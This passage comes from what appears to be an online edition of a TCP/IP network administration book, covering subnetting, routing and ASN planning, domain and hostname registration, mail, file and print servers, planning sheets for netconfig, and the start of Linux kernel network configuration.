Addresses can be assigned statically or dynamically. Static assignment is handled through manually configuring the boot file on the host computer, or through a server such as BOOTP. Dynamic address assignments are always handled by a server, such as PPP or DHCP. Before installing a server for dynamic addressing, make sure it is useful for your purposes. Dynamic PPP addressing is useful for servers that handle many remote dial-in clients that connect for a short duration. If the PPP server is used to connect together various parts of the enterprise network and has long-lived connections, dynamic addressing is probably unnecessary. Likewise, the dynamic address assignment features of DHCP are of most use if you have mobile systems in your network that move between subnets and therefore need to frequently change addresses. See Chapter 6 for information on PPP, and Chapters 3 and 9 for details of DHCP.

Clearly, you must make several decisions about obtaining and assigning addresses. In the next section we look at the subnet mask, which changes how the address is interpreted.

4.2.2 Defining the Subnet Mask

Chapter 2 describes the structure of IP addresses and touches upon the reasons for subnetting. Unless you wish to change the interpretation of your assigned network number, you do not have to define a subnet mask. The decision to subnet is commonly driven by topological or organizational considerations.

The topological reasons for subnetting include:

Overcoming distance limitations

Some network hardware has very strict distance limitations. Ethernet is the most common example. The maximum length of a "thick" Ethernet cable is 500 meters; the maximum length of a "thin" cable is 300 meters; the total length of an Ethernet, called the maximum diameter, is 2500 meters. If you need to cover a greater distance, you can use IP routers to link a series of Ethernet cables. Individual cable still must not exceed the maximum allowable length, but using this approach, every cable is a separate Ethernet. Therefore the total length of the IP network can exceed the maximum length of an Ethernet.

Interconnecting dissimilar physical networks

IP routers can be used to link together networks that have different and incompatible underlying network technologies. Figure 4.1 later in this chapter shows a central token ring subnet, 172.16.1.0, connecting two Ethernet subnets 172.16.6.0 and 172.16.12.0.

Filtering traffic between networks

Local traffic stays on the local subnet. Only traffic intended for other networks is forwarded through the gateway.

Subnetting is not the only way to solve topology problems. Networks are implemented in hardware and can be altered by changing or adding hardware, but subnetting is an effective way to overcome these problems at the TCP/IP software level.

Of course, there are non-technical reasons for creating subnets. Subnets often serve organizational purposes such as:

Simplifying network administration

Subnets can be used to delegate address management, troubleshooting, and other network administration responsibilities to smaller organizations within the overall organization. This is an effective tool for managing a large network with a limited staff. It places the responsibility for managing the subnet on the people who benefit from its use.

Recognizing organizational structure

The structure of an organization (or simply office politics) may require independent network management for some divisions. Creating independently managed subnets for these divisions is preferable to having them go directly to an ISP to get their own independent network numbers.

Isolating traffic by organization

Certain organizations may prefer to have their local traffic isolated to a network that is primarily accessible only to members of that organization. This is particularly appropriate when security is involved. For example, the payroll department might not want their network packets on the engineering network, where some clever person could figure out how to intercept them.

Isolating potential problems

If a certain segment is less reliable than the remainder of the net, you may want to make that segment a subnet. For example, if the research group puts experimental systems on the network from time to time, or experiments with the network itself, this part of the network will be unstable. You would make it a subnet to prevent experimental hardware or software from interfering with the rest of the network.

The network administrator decides if subnetting is required and defines the subnet mask for the network. The subnet mask has the same form as an IP address mask. As described in Chapter 2, it defines which bits form the "network part" of the address and which bits form the "host part." Bits in the "network part" are turned on (i.e., 1), while bits in the "host part" are turned off (i.e., 0).

The subnet mask used on nuts-net is 255.255.255.0. This mask sets aside 8 bits to identify subnets, which creates 256 subnets. The nuts-net administrator has decided that this mask provides enough subnets and that the individual subnets have enough hosts to effectively use the address space of 253 hosts per subnet. Figure 4.1 later in this chapter shows an example of this type of subnetting. Applying this subnet mask to the addresses 172.16.1.0 and 172.16.12.0 causes them to be interpreted as the addresses of two different networks, not as two different hosts on the same network.

Once a mask is defined, it must be disseminated to all hosts on the network. There are two ways this is done: manually, through the configuration of network interfaces; and automatically, through routing protocols. Old routing protocols cannot distribute subnet masks, and old operating systems cannot store the masks in the routing table. In an environment that contains these old systems, every device on the network must use the same subnet mask because every computer believes that the entire network is subnetted in exactly the same way as its local subnet.

New routing protocols distribute address masks for each destination, and new operating systems store those masks in the routing table. This makes it possible to use variable-length subnet masks (VLSM). Using variable-length subnet masks increases the flexibility and power of subnetting. Assume you wanted to divide 192.168.5.0/24 into three networks: one network of 110 hosts, one network of 50 hosts, and one network of 60 hosts. Using traditional subnet masks, a single subnet mask would have to be chosen and applied to the entire address space. At best this would be a compromise. With variable length subnet masks you could use a mask of 255.255.255.128, which creates subnets of 126 hosts, for the large subnet and a mask of 255.255.255.192 to create subnets of 62 hosts for the smaller subnets. VLSMs, however, require UNIX kernels that know how to store and use the masks and routing protocols that can transmit them. See Chapter 7, Configuring Routing , for more information on routing.

4.2.2.1 Specifying the broadcast address

The need to specify a broadcast address may not be as clear as, for example, the need to specify a subnet mask. The standard broadcast address is an address where all host bits are set to 1s. This means the standard broadcast address on subnet 172.16.12.0 is 172.16.12.255. We want to use the standard broadcast address, so why worry about it?

The problem arises because some devices use the wrong broadcast address. The BSD 4.2 UNIX release used a broadcast address where the host bits were all set to 0, and there was no facility for changing it. The problem did not exist in BSD 4.3 and later releases; however, some systems still default to the wrong broadcast address. If you have systems on your network that use the wrong broadcast address, fix the address.

In Chapter 6, we discuss how the IP address, subnet mask, and broadcast address are used to configure the physical network interface. Another essential part of a TCP/IP network is routing.

Previous: 4.1 Connected and Non-Connected Networks | TCP/IP Network Administration | Next: 4.3 Planning Routing
4.1 Connected and Non-Connected Networks | Book Index | 4.3 Planning Routing


[Chapter 4] 4.3 Planning Routing

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.2 Basic Information Chapter 4
Getting Started 		Next: 4.4 Planning Naming Service

4.3 Planning Routing

In Chapter 2, we learned that hosts communicate directly only with other computers connected to the same network. Gateways are needed to communicate with systems on other networks. If the hosts on your network need to communicate with computers on other networks, a route through a gateway must be defined. There are two ways to do this:

  • Routing can be handled by a static routing table built by the system administrator. Static routing tables are most useful when the number of gateways is limited. Static tables do not dynamically adjust to changing network conditions, so each change in the table is made manually by the network administrator. Complex environments require a more flexible approach to routing than a static routing table provides.

  • Routing can be handled by a dynamic routing table that responds to changing network conditions. Dynamic routing tables are built by routing protocols. Routing protocols exchange routing information that is used to update the routing table. Dynamic routing is used when there are multiple gateways on a network, and is essential when more than one gateway can reach the same destination.

Many networks use a combination of both static and dynamic routing. Some systems on the network use static routing tables, while others run routing protocols and have dynamic tables. While it is often appropriate for hosts to use static routing tables, gateways usually run routing protocols.

The network administrator is responsible for deciding what type of routing to use and for choosing the default gateway for each host. Make these decisions before you start to configure your system. Here are a few guidelines to help you plan routing. If you have:

A network with no gateways to other TCP/IP networks

No special routing configuration is required in this case. The gateways referred to in this discussion are IP routers that interconnect TCP/IP networks. If you are not interconnecting TCP/IP networks, you do not need an IP router. Neither a default gateway nor a routing protocol needs to be specified.

A network with a single gateway

If you have only one gateway, don't run any routing protocols. Specify the single gateway as the default gateway in a static routing table.

A network with internal gateways to other subnets and a single gateway to the world

Here there is a real choice. You can statically specify each subnet route and make the gateway to the world your default route, or you can run a routing protocol. Decide which you want to do based on the effort involved in maintaining a static table versus the slight overhead of running a routing protocol on your hosts and networks. If you have more than a few hosts, running a routing protocol is probably easiest.

A network with multiple gateways to the world

If you have multiple gateways that can reach the same destination, use a routing protocol. This allows the gateways to adapt to network changes, giving you redundant access to the remote networks.

Figure 4.1 shows a subnetted network with five gateways identified as A through E. A central subnet (172.16.1.0) interconnects five other subnets. One of the subnets has a gateway to an external network. The network administrator would probably choose to run a routing protocol on the central subnet (172.16.1.0) and perhaps on subnet 172.16.12.0, which is attached to an external network. Dynamic routing is appropriate on these subnets because they have multiple gateways. Without dynamic routing, the administrator would need to update every one of these gateways manually whenever any change occurred in the network - for example, whenever a new subnet was added. A mistake during the manual update could disrupt network service. Running a routing protocol on these two subnets is simpler and more reliable.

Figure 4.1: Routing and subnets

On the other hand, the administrator would probably choose static routing for the other subnets (172.16.3.0, 172.16.6.0, and 172.16.9.0). These subnets each use only one gateway to reach all destinations. Changes external to the subnets, such as the addition of a new subnet, do not change the fact that these three subnets still have only one routing choice. Newly added networks are still reached through the same gateway. The hosts on these subnets specify the subnet's gateway as their default route. In other words, the hosts on subnet 172.16.3.0 specify B as the default gateway, while the hosts on subnet 172.16.9.0 specify D as the default, no matter what happens on the external networks.

Some routing decisions are thrust upon you by the external networks to which you connect. In Figure 4.1 the local network connects to an external network that requires that Border Gateway Protocol (BGP) be used for routing. Therefore, gateway E has to run BGP to exchange routes with the external network.

4.3.1 Obtaining an autonomous system number

The Border Gateway Protocol (BGP) requires that gateways have a special identifier called an autonomous system number (ASN). (Refer to the section "Internet Routing Architecture" in Chapter 2 for a discussion of autonomous systems.) Most sites do not need to run BGP. Most sites do not need a unique ASN, even when they do run BGP. Usually those sites can select one of the ASNs that have been set aside for private use, which are the numbers from 64512 to 65535. Select a number and coordinate your selection with your border gateway peers to avoid any possible conflicts. If you connect to the Internet through a single ISP, you almost certainly do not need an official ASN. If after discussions with your service provider you find that you must obtain an official ASN, obtain the application form at ftp://rs.internic.net/templates/asn-template.txt. (See the "Internet Registries" sidebar earlier in this chapter.)

If you submit an application, you're asked to explain why you need a unique autonomous system number. Unless you are an ISP, probably the only reason to obtain an ASN is that you are a multi-homed site. A multi-homed site is any site that connects to more than one ISP. Reachability information for the site may be advertised by both ISPs, confusing the routing policy. Assigning the site an ASN gives it direct responsibility for setting its own routing policy and advertising its own reachability information. This doesn't prevent the site from advertising bad routes, but it makes the advertisement traceable back to one site and ultimately to one technical contact. (Once you submit an ASN application, you have no one to blame but yourself!)

All of the items we have discussed so far (addressing, subnetting, and routing) are required to configure the basic physical network on top of which the applications and services run. Now we begin planning the services that make the network useful and usable.

Previous: 4.2 Basic Information | TCP/IP Network Administration | Next: 4.4 Planning Naming Service
4.2 Basic Information | Book Index | 4.4 Planning Naming Service


[Chapter 4] 4.4 Planning Naming Service

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.3 Planning Routing Chapter 4
Getting Started 		Next: 4.5 Other Services

4.4 Planning Naming Service

To make your network user-friendly, you need to provide a service to convert hostnames into IP addresses. Domain name service (DNS) and the host table, explained in Chapter 3, perform this function. You should plan to use both.

To configure her computer, a network user needs to know the domain name, her system's hostname, and the hostname and address of at least one name server. The network administrator provides this information.

4.4.1 Obtaining a Domain Name

The first item you need for domain name service is a domain name. You can obtain an official domain name from the InterNIC. Your ISP may be willing to do this for you or to assign you a name within its domain; however, it is likely that you will have to apply for a domain name yourself. You can download the application from ftp://rs.internic.net/templates/domain-template.txt.

Pre-select a domain name and have your primary domain name server up and running before you attempt to register the domain name. Use whois as described in Chapter 13, Internet Information Resources , to see if the name you want is in use. Double-check with nslookup as described in Chapter 8, Configuring DNS Name Service . When you are reasonably sure the domain name is still available, start your primary name server running. If you don't want to run your own server, ask your ISP if they offer this service. If they don't, you must either find a new ISP that does, or run the service yourself.

Having the primary server up and running doesn't mean that your entire domain must be fully operational, but it does mean that a server must be running to respond to basic queries. When asked, the server should answer that it is the name server for your domain. Configure the primary server as described in Chapter 8. Test it with nslookup. Once you are sure that it at least answers queries about itself, register the domain name.

Submit the domain name application form via email to hostmaster@internic.net with a subject line containing the words "NEW DOMAIN" followed by the name of your domain. For example, assuming the completed template is stored in the file domain.application on a Solaris system, the following command might be used to mail it to the InterNIC for a domain named nuts.com:

% Mail hostmaster@internic.net
Subject: NEW DOMAIN nuts.com
~r domain.application
"domain.application" 49/2732
^D
EOT

In response to your email, you receive a reply that contains a tracking number that you use to monitor the status of your domain registration.

Use the domain name registration form to change or delete your existing domain name registration. Just fill in the form with the corrected information and mail it to hostmaster@internic.net with a subject line that contains either "MODIFY DOMAIN" or "REMOVE DOMAIN", as appropriate, followed by your domain name. In the very first field of the application form, item 0, ask for the type of registration action: either New ("N"), Modify ("M"), or Delete ("D"). Make sure the letter in this field matches the action indicated on the subject line when you mail in the application.

You're required to use email to submit the domain name application. The logic behind this is that if you don't have at least email access to the Internet, you don't need an Internet domain name. This helps reduce the number of frivolous domain name requests, and it automates part of the registration, further reducing the burden of handling domain name requests.

Another thing that dramatically reduces the number of frivolous domain name applications is the $100 registration fee. The registration service charges each domain $50 a year to be maintained in the registry. The initial $100 fee covers the first two years. Question 9 asks if the InterNIC should send the bill for the registration fee to you via email or postal mail. Answer with an "E" or a "P". If your "bean counters" will accept an email bill, go that way. You'll get everything finished more quickly.

The application form is largely self-explanatory, but a few items require some thought. Two things may be confusing - handles and servers. One is the request for a NIC handle. You have a NIC handle only if you are registered in the NIC white pages. The white pages (discussed in Chapter 12) is a directory of information about users, networks, hosts, and domains. A NIC handle is a record identifier for this directory. A personal NIC handle for a user entry is composed of the user's initials and perhaps a number. For example, my initials are cwh and my NIC handle is cwh3. It is unlikely that you will have a handle unless you have contacted the NIC before. If you don't have a handle, just leave it blank. The NIC will assign you one.

You're also asked for the names and addresses of your primary and secondary name servers. The servers listed must be operational and connected to the Internet. [7] Provide the full domain name of the primary server in response to question 7a; e.g. almond.nuts.com. The primary server is usually a name server located at your site, but not always. It isn't necessary to provide your own primary server; and if you aren't directly connected to the Internet, you can't. Even though you are not connected, you may still want to register your domain name with the NIC if you have email access to the Internet. This allows you to use an email address that clearly identifies your organization. In order to do this, the online service that receives your email must be able to provide your primary name service. Check with them before you fill out this form.

[7] Chapter 8 tells you how to get a name server up and running.

The secondary server should be on a separate physical network from the primary server. Putting it on a different network guarantees that other sites can look up information about your network, even if access to your network is unavailable for some reason. A large organization may have multiple independent networks, but for many sites this requirement means asking another organization to provide a secondary name server. Who do you ask?

Again, you should turn to the people who are providing your Internet access. The network that connects you to the Internet should provide secondary name servers as a service to its users. If they do not, they should be able to point you to other organizations that do provide the service. It is even possible for two organizations who are both applying for new domains to provide secondary service for each other. In other words, you provide someone with a secondary server; in return, they provide a secondary server for you.

Read the instructions that come with the domain application. The remainder of the form should be easy to fill out.

4.4.1.1 Obtaining an IN-ADDR.ARPA domain

When you obtain your Internet domain name, you should also apply for an in-addr.arpa domain. This special domain is sometimes called a reverse domain. Chapter 8 contains more information about how the in-addr.arpa domain is set up and used, but basically the reverse domain maps numeric IP addresses into domain names. This is the reverse of the normal process, which converts domain names to addresses. If your ISP provides your name service or your ISP assigned you an address from a block of its own addresses, you may not need to apply for an in-addr.arpa domain on your own. Check with your ISP before applying. If you do need to get a reverse domain, you can obtain the application from ftp://rs.internic.net/templates/in-addr-template.txt.

4.4.2 Choosing a Hostname

Once you have a domain name, you are responsible for assigning hostnames within that domain. You must ensure that hostnames are unique within your domain or subdomain, in the same way that host addresses must be unique within a network or subnet. But there is more to choosing a host name than just making sure the name is unique. Choosing a hostname is a surprisingly emotional issue. Many people feel very strongly about the name of their computer because they identify their computer with themselves or their work.

RFC 1178 provides excellent guidelines on how to choose a hostname. Some key suggestions from these guidelines are:

  • Use real words that are short, easy to spell, and easy to remember. The point of using hostnames instead of IP addresses is that they are easier to use. If hostnames are difficult to spell and remember, they defeat their own purpose.

  • Use theme names. For example, all hosts in a group could be named after human movements: fall, jump, hop, skip, walk, run, stagger, wiggle, stumble, trip, limp, lurch, hobble, etc. Theme names are often easier to choose than unrestricted names, and increase the sense of community among network users.

  • Avoid using project names, personal names, acronyms, numeric names, and technical jargon. Projects and users change over time. If you name a computer after the person who is currently using it or the project it is currently assigned to, you will probably have to rename the computer in the future. Use nicknames to identify the server function of a system, e.g., www, ftp, ns, etc. Nicknames can easily move between systems if the server function moves. See the description of CNAME records in Chapter 8 for information on creating nicknames.

The only requirement for a hostname is that it be unique within its domain. But a well-chosen hostname can save future work and make the user happier.

Name service is the most basic network service, and it is one service that you will certainly run on your network. There are, however, other services that you should also include in your network planning process.

Previous: 4.3 Planning Routing | TCP/IP Network Administration | Next: 4.5 Other Services
4.3 Planning Routing | Book Index | 4.5 Other Services


[Chapter 4] 4.5 Other Services

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.4 Planning Naming Service Chapter 4
Getting Started 		Next: 4.6 Informing the Users

4.5 Other Services

Three services that are used on many networks are file servers, print servers, and mail servers. The purpose of these services and the protocols they are built on is discussed in Chapter 3. In this section we investigate what information must be passed to the users so that the client systems can be successfully configured, and how the network administrator determines that information.

4.5.1 File servers

At a minimum the user needs to know the hostnames of the network file servers. Using the names and the showmount command, the user can determine what filesystems are being offer by the servers and who is permitted to use those filesystems. [8] Without at least the hostname, the user would have to guess which system offered file service.

[8] See the showmount command in Chapter 9.

A better approach is to give users information that also includes what filesystems are being offered and who should use those filesystems. For example, if the UNIX man pages are made available from a central server, the users should be informed not to install the man pages on their local disk drives and they should be told exactly how to access the centrally supported files.

4.5.2 Print servers

Whether printers are shared using lp, lpd, or NFS, the basic information needed to configure the print server's clients is the same: the hostname and IP address of the print server, and the name of the printer. Printer security may also require that the user be given a username and password to access the printer.

This is the only information needed to configure the client. However, you probably will want to provide your users with additional information about the features, location and administration of shared printers.

4.5.3 Planning Your Mail System

TCP/IP provides the tools you need to create a reliable, flexible electronic mail system. Servers are one of the tools that improve reliability. It is possible to create a peer-to-peer email network in which every end system directly sends and receives its own mail. However, relying on every system to deliver and collect the mail requires that every system be properly administered and consistently up and running. This isn't practical, because many small systems are offline for large portions of the day. Most networks use servers so that only a few systems need to be properly configured and operational for the mail to go through.

The terminology that describes email servers is confusing because all of the server functions usually occur in one computer, and all of the terms are used interchangeably to refer to that system. In this text we differentiate between these functions, but we expect you will do all of these tasks on one UNIX system running sendmail. We use these terms in the following manner:

Mail server

The mail server collects incoming mail for other computers on the network. It supports interactive logins as well as POP or IMAP so that users can read their mail as they see fit.

Mail relay

A mail relay is a host that forwards mail between internal systems and from internal systems to remote hosts. Mail relays allow internal systems to have simple mail configurations because only the relay host needs to have software to handle special mail addressing schemes and aliases.

Mail gateway

A mail gateway is a system that forwards email between dissimilar systems. You don't need a gateway to go from one Internet host to another because both systems use SMTP. You do need a gateway to go from SMTP to X.400 or to a proprietary mailer. In a pure TCP/IP network, this function is not needed.

The mail server is the most important component of a reliable system because it eliminates reliance on the user's system. A centrally controlled, professionally operated server collects the mail regardless of whether or not the end system is operational.

The relay host also contributes to the reliability of the email system. If mail cannot be immediately delivered by the relay host, it is queued and processed later. An end system also queues mail, but if it is shut down no attempts can be made to deliver queued mail until the system is back online. The mail server and the mail relay are operated 24 hours a day.

The design of most TCP/IP email networks is based on the following guidelines:

  • Use a mail server to collect mail, and POP or IMAP to deliver the mail.

  • Use a mail relay host to forward mail. Implement a simplified email address scheme on the relay host.

  • Standardize on TCP/IP and SMTP. Users who insist on using a proprietary email system should be responsible for obtaining and configuring an SMTP mail gateway for that system in order to connect to your TCP/IP email network.

  • Standardize on MIME for binary attachments. Avoid proprietary attachment schemes; they just cause confusion when the users of Brand X email cannot read attachments received from Brand Y.

For their client configurations, provide the users with the hostname and IP address of the mail server and the mail relay. The mail server will also require a username and password for each person.

Previous: 4.4 Planning Naming Service | TCP/IP Network Administration | Next: 4.6 Informing the Users
4.4 Planning Naming Service | Book Index | 4.6 Informing the Users


[Chapter 4] 4.6 Informing the Users

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.5 Other Services Chapter 4
Getting Started 		Next: 4.7 netconfig

4.6 Informing the Users

All of the configuration information that you gather or develop through the planning process must be given to the users so that they can configure their systems. You can distribute information with several techniques.

In Chapter 3 we discussed NIS, NFS, and configuration servers. All of these play a role in informing the user and in simplifying the configuration process. NIS supports several system administration databases that provide many of the basic configuration values. NFS can distribute pre-configured system files to client systems. Configuration servers, such as BOOTP and DHCP, offer every parameter needed to configure a TCP/IP system directly to the client. All of these are important, but they are not the complete solution.

The servers require that the client is configured to be a client. For NIS and NFS, the client must have a full basic configuration. Even BOOTP and DHCP require that the user know whether BOOTP or DHCP is being used so that he does not enter any incorrect values during the initial system installation. Therefore, the network administrator must directly communicate with the administrator of the end system, usually through written documentation.

4.6.1 Sample Planning Sheets

To communicate this information, the network administrator will often create an installation planning sheet - a short list of information for the system administrator. A sample planning sheet for the workstation peanut, based on some of the topics we have discussed, provides basic configuration details. The planning sheet lists the name, address, subnet mask, the fact that DNS is used, and the fact that RIP is used on subnet 172.16.12.0:

Hostname:

peanut

IP address:

172.16.12.2

Subnet mask:

255.255.255.0

Default gateway:

172.16.12.1 (almond.nuts.com)

Broadcast address:

172.16.12.255

Domain name:

nuts.com

Name servers:

172.16.12.1 (almond.nuts.com)
172.16.6.8 (pack.plant.nuts.com)

Routing protocol:

Routing Information Protocol (RIP)

Mail server:

172.16.12.1 (almond.nuts.com)

Mail relay:

172.16.12.1 (almond.nuts.com)

Print server:

172.16.12.3 (pecan.nuts.com)

NFS server:

172.16.1.2 (filbert.nuts.com)

A similar sheet prepared for almond (see below) varies slightly from the planning sheet for peanut. The names and address are different, of course, but the real differences are caused by the fact that almond is a gateway. As a gateway, almond has more than one network interface, and each interface requires its own configuration. Each interface has its own address and can have its own name, subnet mask, and routing protocol.

Hostname:

almond (172.16.12.1)
mil-gw (10.104.0.19)

IP address:

172.16.12.1
10.104.0.19

Subnet mask:

255.255.255.0 (172.16.12.1)
default (10.104.0.19)

Default gateway:

none

Broadcast address:

172.16.12.255 (172.16.12.1)
default (10.104.0.19)

Domain name:

nuts.com

Name servers:

172.16.12.1 (almond.nuts.com)
172.16.6.8 (pack.plant.nuts.com)

Routing protocol:

Routing Information Protocol (RIP) (172.16.12.1)
Border Gateway Protocol (BGP) (10.104.0.19)

Print server:

172.16.12.3 (pecan.nuts.com)

NFS server:

172.16.1.2 (filbert.nuts.com)

We use the information from these planning sheets to configure the systems in subsequent chapters. You may, however, want to format your planning sheets differently. In this book we configure the system directly. We use the configuration commands ourselves so that we can understand and master them. In reality many basic configuration tasks are performed by a network configuration script during the initial operating system installation. You may want to format your planning sheet to be compatible with the prompts of that script. One such script is netconfig, which is used on Linux systems.

Previous: 4.5 Other Services | TCP/IP Network Administration | Next: 4.7 netconfig
4.5 Other Services | Book Index | 4.7 netconfig


[Chapter 4] 4.7 netconfig

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.6 Informing the Users Chapter 4
Getting Started 		Next: 4.8 Summary

4.7 netconfig

During the installation of the Slackware 96 Linux operating system you are asked if you want to configure the network. If you answer "yes", netconfig begins. netconfig can be run by the superuser at any time from the shell prompt.

netconfig presents a series of screens that prompt for basic configuration information. The first two questions, hostname and domain name, are simple enough. However, the third question may cause some confusion. It asks if the system should be configured to use only the loopback interface. You may wonder why anyone would limit TCP/IP to the loopback interface. The reason is simple: the person wants to run TCP/IP but has no physical network. Students who are studying TCP/IP, perhaps on a home computer, sometimes use this so that they can work with TCP/IP without a physical network. Clearly, the users attached to your network should answer "no" to this question.

The remaining questions are straightforward. netconfig asks for the system's IP address, the IP address of the default gateway, and the subnet mask. It then asks if you will use a name server. If you answer "yes", it asks for the IP address of the name server.

That's it. It is easy to answer these questions using the planning sheet we developed above. But if you know what configuration questions your users will be asked and what order they will have to answer them, you can improve the planning sheet. Reorder the planning information to match the order of the questions and add answers for the yes/no questions so that the users do not get confused. Here is the peanut planning sheet redesigned for netconfig:

Enter hostname:

peanut

Enter domain name:

nuts.com

Do you plan to ONLY use loopback:

No

Enter IP address:

172.16.12.2

Enter gateway address:

172.16.12.1

Enter netmask:

255.255.255.0

Will you access a nameserver:

Yes

Name Server:

172.16.12.1

## This completes your network setup. ##
## Hold on to the remaining information for future reference.##

Broadcast address:

172.16.12.255

Mail server:

172.16.12.1

Mail relay:

172.16.12.1

Print server:

172.16.12.3

NFS server:

172.16.1.2

Previous: 4.6 Informing the Users | TCP/IP Network Administration | Next: 4.8 Summary
4.6 Informing the Users | Book Index | 4.8 Summary


[Chapter 4] 4.8 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.7 netconfig Chapter 4
Getting Started 		Next: 5. Basic Configuration

4.8 Summary

Planning is the first step in configuring TCP/IP. We began this chapter by deciding whether your network will connect to the Internet and exploring how that decision impacts the rest of your planning. We also looked at the basic information needed to configure a physical network: an IP address, a subnet mask, and a broadcast address. We discussed how to plan routing, which is essential for communicating between TCP/IP networks. We outlined the basic network services, starting with domain name service, and discussed file, print, and email servers. Finally, we looked at the different ways that this planning information is communicated from the network administrator to the system administrators and users.

In the chapters that follow, we put these plans into action, starting with the configuration of the network interface in Chapter 6. First, however, we will go inside the UNIX kernel to see how TCP/IP is built into the operating system.

Previous: 4.7 netconfig | TCP/IP Network Administration | Next: 5. Basic Configuration
4.7 netconfig | Book Index | 5. Basic Configuration


[Chapter 5] Basic Configuration

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.8 Summary Chapter 5 Next: 5.2 Linux Kernel Configuration

5. Basic Configuration

Contents:
Kernel Configuration
Linux Kernel Configuration
The BSD Kernel Configuration File
The Internet Daemon
Summary

Every UNIX computer that runs TCP/IP has a technique for incorporating the basic transport and IP datagram services into its operating system. This chapter discusses two files that are fundamental to the basic configuration of TCP/IP on UNIX systems: the kernel configuration file and the inetd.conf file. Because these files are so basic to network configuration, they usually come from the manufacturer preconfigured to run TCP/IP.

We'll examine the contents of these files and the role they play in linking TCP/IP and UNIX. With this information, you should be able to modify these files for your own custom configurations.

5.1 Kernel Configuration

Kernel configuration is not really a network administration task - rather, it is a basic part of UNIX system administration, whether or not the computer is connected to a network. But TCP/IP networking, like other system functions, is integrated into the kernel.

There are two very different approaches to kernel configuration. Some systems are designed to eliminate the need to configure the kernel yourself, while others encourage you to do your own kernel configuration. Solaris 2.5.1 is an example of the former. The system comes with a generic kernel that supports all basic system services. When a Solaris system boots, it detects any new hardware added to the system. Dynamically loadable modules are used to add new features to the system. The configuration is defined in the /etc/system file, but this file is not directly edited by the system administrator. When a new software package is added to the system, the script that installs that package makes any changes it requires to the /etc/system file.

Linux is an example of the latter philosophy: its documentation encourages you to create your own configuration. In this text we concentrate on Linux and on FreeBSD, systems that allow you to build your own custom kernel. [1] Throughout this chapter, we provide examples of kernel configuration statements using these two UNIX systems. While kernel configuration involves all aspects of system configuration, we include only statements that directly affect TCP/IP configuration.

[1] The kernel configuration process of other BSD systems, such as SunOS 4.1.3, is similar to the FreeBSD example.

Both of the UNIX systems used in the examples come with a kernel configuration file preconfigured for TCP/IP. During the initial installation, you may need to select a preconfigured kernel that includes network support, but you probably won't need to modify the kernel configuration for networking. The kernel configuration file is normally changed only when you wish to:

  • Produce a smaller, more efficient kernel by removing unneeded items

  • Add a new device

  • Modify a system parameter

While there is rarely any need to modify the kernel network statements, it is useful to understand what these statements do. Looking into the kernel configuration file shows how UNIX is tied to the hardware and software of the network.

CAUTION: The procedures and files used for kernel configuration vary dramatically depending on UNIX implementation. These variations make it essential that you refer to your system documentation before trying to configure the kernel on your system. Only your system documentation can provide you with the accurate, detailed instructions required to successfully complete this task.

Previous: 4.8 Summary | TCP/IP Network Administration | Next: 5.2 Linux Kernel Configuration
4.8 Summary | Book Index | 5.2 Linux Kernel Configuration


[Chapter 5] 5.2 Linux Kernel Configuration

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 5.1 Kernel Configuration Chapter 5
Basic Configuration 		Next: 5.3 The BSD Kernel Configuration File

5.2 Linux Kernel Configuration

The Linux kernel is a C program compiled and installed by make. The make config command customizes the kernel configuration and generates the files (including the Makefile) needed to compile and link the kernel. On Linux systems, the kernel source directory is /usr/src/linux. To start the configuration process, change to the source directory and run make config:

# cd /usr/src/linux
# make config

The make config command asks many questions about your system configuration. Some of these are directly related to network configuration. The first network configuration question is:

Networking support (CONFIG_NET) [Y/n/?]

Answer "yes" (y), which is the default. Networking support is necessary for all of the TCP/IP networking features that we will request later in the configuration. Even if you don't run TCP/IP, you should answer "yes" to this question. Basic network support is essential to many services.

The make config command asks several more general configuration questions before returning to the topic of networking. When it does, it has many networking questions to ask. The example below is an excerpt from the actual configuration of the Linux 2.0 kernel on a Slackware 96 system. [2]

[2] The configuration questions change with every new kernel. Refer to your system's documentation for the latest information.

Network firewalls (CONFIG_FIREWALL) [N/y/?]
Network aliasing (CONFIG_NET_ALIAS) [N/y/?]
TCP/IP networking (CONFIG_INET) [Y/n/?]
IP: forwarding/gatewaying (CONFIG_IP_FORWARD) [N/y/?]
IP: multicasting (CONFIG_IP_MULTICAST) [N/y/?]
IP: accounting (CONFIG_IP_ACCT) [N/y/?]
IP: PC/TCP compatibility mode (CONFIG_INET_PCTCP) [N/y/?]
IP: Reverse ARP (CONFIG_INET_RARP) [N/y/m/?]
IP: Disable Path MTU Discovery (normally enabled)
     (CONFIG_NO_PATH_MTU_DISCOVERY) [N/y/?]
IP: Drop source routed frames (CONFIG_IP_NOSR) [Y/n/?]
IP: Allow large windows (not recommended if <16Mb of memory)
     (CONFIG_SKB_LARGE) [Y/n/?]
Network device support (CONFIG_NETDEVICES) [Y/n/?]
Dummy net driver support (CONFIG_DUMMY) [N/y/m/?]
EQL (serial line load balancing) support (CONFIG_EQUALIZER) [N/y/m/?]
PLIP (parallel port) support (CONFIG_PLIP) [N/y/m/?]
PPP (point-to-point) support (CONFIG_PPP) [Y/m/n/?]
SLIP (serial line) support (CONFIG_SLIP) [Y/m/n/?]
 CSLIP compressed headers (CONFIG_SLIP_COMPRESSED) [Y/n/?]
 Keepalive and linefill (CONFIG_SLIP_SMART) [N/y/?]
 Six bit SLIP encapsulation (CONFIG_SLIP_MODE_SLIP6) [N/y/?]
Radio network interfaces (CONFIG_NET_RADIO) [N/y/?]
Ethernet (10 or 100Mbit) (CONFIG_NET_ETHERNET) [Y/n/?]
3COM cards (CONFIG_NET_VENDOR_3COM) [Y/n/?]
3c501 support (CONFIG_EL1) [N/y/m/?]
3c503 support (CONFIG_EL2) [N/y/m/?]
3c509/3c579 support (CONFIG_EL3) [Y/m/n/?]
3c590 series (592/595/597) "Vortex" support (CONFIG_VORTEX) [N/y/m/?]
AMD LANCE and PCnet (AT1500 and NE2100) support (CONFIG_LANCE) [N/y/?]
Western Digital/SMC cards (CONFIG_NET_VENDOR_SMC) [N/y/?]
Other ISA cards (CONFIG_NET_ISA) [N/y/?]
